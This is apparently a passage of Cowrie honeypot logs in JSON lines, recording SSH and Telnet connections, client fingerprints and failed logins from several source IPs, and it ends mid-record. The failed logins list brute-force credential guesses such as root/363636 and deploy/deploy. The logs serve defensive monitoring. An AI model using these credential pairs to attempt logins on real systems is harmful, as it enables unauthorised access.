{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:25.262658Z","src_ip":"87.251.79.125","session":"28c1f52d7e04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"363636","message":"login attempt [root/363636] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:25.483018Z","src_ip":"87.251.79.125","session":"28c1f52d7e04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.073525428771973,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:25.613506Z","src_ip":"152.42.224.71","session":"80dd1c5f949c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38542,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aca92a775fa","protocol":"telnet","message":"New connection: 176.65.139.118:38542 (159.203.135.109:23) [session: 5aca92a775fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:26.394253Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:26.559607Z","src_ip":"87.251.79.125","session":"28c1f52d7e04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56474,"dst_ip":"10.17.0.5","dst_port":23,"session":"77f95861153d","protocol":"telnet","message":"New connection: 152.42.224.71:56474 (10.17.0.5:23) [session: 77f95861153d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:28.919910Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56478,"dst_ip":"10.17.0.5","dst_port":23,"session":"93210b94bb7a","protocol":"telnet","message":"New connection: 152.42.224.71:56478 (10.17.0.5:23) [session: 93210b94bb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:29.965562Z"}
{"eventid":"cowrie.session.closed","duration":46.11802101135254,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:31.245375Z","src_ip":"152.42.224.71","session":"86eabd7a5ce1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":42662,"dst_ip":"10.17.0.5","dst_port":22,"session":"03c8efb9eb12","protocol":"ssh","message":"New connection: 147.45.197.250:42662 (10.17.0.5:22) [session: 03c8efb9eb12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:34.414019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:34.422696Z","src_ip":"147.45.197.250","session":"03c8efb9eb12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:34.512180Z","src_ip":"147.45.197.250","session":"03c8efb9eb12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pasha123","message":"login attempt [root/pasha123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:34.781645Z","src_ip":"147.45.197.250","session":"03c8efb9eb12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":35404,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cbee80118ad","protocol":"ssh","message":"New connection: 31.40.204.166:35404 (159.203.135.109:22) [session: 5cbee80118ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:34.884017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:34.915440Z","src_ip":"31.40.204.166","session":"5cbee80118ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:35.092122Z","src_ip":"31.40.204.166","session":"5cbee80118ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:35.617673Z","src_ip":"31.40.204.166","session":"5cbee80118ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:35.884873Z","src_ip":"147.45.197.250","session":"03c8efb9eb12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:36.820099Z","src_ip":"31.40.204.166","session":"5cbee80118ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36684,"dst_ip":"10.17.0.5","dst_port":23,"session":"76d4eeb83554","protocol":"telnet","message":"New connection: 152.42.224.71:36684 (10.17.0.5:23) [session: 76d4eeb83554]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:37.130577Z"}
{"eventid":"cowrie.session.closed","duration":56.51135587692261,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:37.503358Z","src_ip":"152.42.224.71","session":"75ae12a16384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36688,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c9d300452cc","protocol":"telnet","message":"New connection: 152.42.224.71:36688 (10.17.0.5:23) [session: 7c9d300452cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:43.784905Z"}
{"eventid":"cowrie.session.closed","duration":20.69630193710327,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:47.090409Z","src_ip":"176.65.139.118","session":"5aca92a775fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":35546,"dst_ip":"159.203.135.109","dst_port":23,"session":"07c1e0cfb14b","protocol":"telnet","message":"New connection: 176.65.139.118:35546 (159.203.135.109:23) [session: 07c1e0cfb14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:47.169215Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56702,"dst_ip":"159.203.135.109","dst_port":22,"session":"15403c5d1a80","protocol":"ssh","message":"New connection: 31.40.204.166:56702 (159.203.135.109:22) [session: 15403c5d1a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:47.821779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:47.826500Z","src_ip":"31.40.204.166","session":"15403c5d1a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:48.000257Z","src_ip":"31.40.204.166","session":"15403c5d1a80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev123456","message":"login attempt [dev/dev123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:48.503522Z","src_ip":"31.40.204.166","session":"15403c5d1a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:49.689893Z","src_ip":"31.40.204.166","session":"15403c5d1a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51404,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd861c620bdf","protocol":"telnet","message":"New connection: 152.42.224.71:51404 (10.17.0.5:23) [session: bd861c620bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:52.209862Z"}
{"eventid":"cowrie.session.closed","duration":57.667062759399414,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:52.953332Z","src_ip":"152.42.224.71","session":"523cd250c7af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":24.239681720733643,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:53.159461Z","src_ip":"152.42.224.71","session":"77f95861153d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":85.90823864936829,"message":"Connection lost after 85 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:54.386980Z","src_ip":"152.42.224.71","session":"bb6de4978203","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51416,"dst_ip":"10.17.0.5","dst_port":23,"session":"d05dbe82257e","protocol":"telnet","message":"New connection: 152.42.224.71:51416 (10.17.0.5:23) [session: d05dbe82257e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:55.775839Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45516,"dst_ip":"10.17.0.5","dst_port":23,"session":"6da4b6b0fe83","protocol":"telnet","message":"New connection: 152.42.224.71:45516 (10.17.0.5:23) [session: 6da4b6b0fe83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:58.453987Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45520,"dst_ip":"10.17.0.5","dst_port":23,"session":"92d955235233","protocol":"telnet","message":"New connection: 152.42.224.71:45520 (10.17.0.5:23) [session: 92d955235233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:59.707239Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":34238,"dst_ip":"159.203.135.109","dst_port":22,"session":"c78445d7b764","protocol":"ssh","message":"New connection: 31.40.204.166:34238 (159.203.135.109:22) [session: c78445d7b764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:59.983846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:17:59.994004Z","src_ip":"31.40.204.166","session":"c78445d7b764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:00.182612Z","src_ip":"31.40.204.166","session":"c78445d7b764","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45538,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cb225632119","protocol":"telnet","message":"New connection: 152.42.224.71:45538 (10.17.0.5:23) [session: 1cb225632119]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:00.779796Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45526,"dst_ip":"10.17.0.5","dst_port":23,"session":"12a0fc84318a","protocol":"telnet","message":"New connection: 152.42.224.71:45526 (10.17.0.5:23) [session: 12a0fc84318a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:01.001996Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41190,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ba8effb8316","protocol":"ssh","message":"New connection: 103.77.242.62:41190 (10.17.0.5:22) [session: 3ba8effb8316]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:01.096634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:01.101987Z","src_ip":"103.77.242.62","session":"3ba8effb8316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:01.201880Z","src_ip":"31.40.204.166","session":"c78445d7b764","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:01.343148Z","src_ip":"103.77.242.62","session":"3ba8effb8316","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345671","message":"login attempt [root/12345671] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:02.070743Z","src_ip":"103.77.242.62","session":"3ba8effb8316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:02.386891Z","src_ip":"31.40.204.166","session":"c78445d7b764","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:03.314781Z","src_ip":"103.77.242.62","session":"3ba8effb8316","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.39202308654785,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:09.176613Z","src_ip":"152.42.224.71","session":"7c9d300452cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43256,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c4a2803b53","protocol":"telnet","message":"New connection: 152.42.224.71:43256 (10.17.0.5:23) [session: 01c4a2803b53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:10.824468Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":40126,"dst_ip":"159.203.135.109","dst_port":22,"session":"76420f99a806","protocol":"ssh","message":"New connection: 31.40.204.166:40126 (159.203.135.109:22) [session: 76420f99a806]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:12.182607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:18:12.203542Z","src_ip":"31.40.204.166","session":"76420f99a806","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.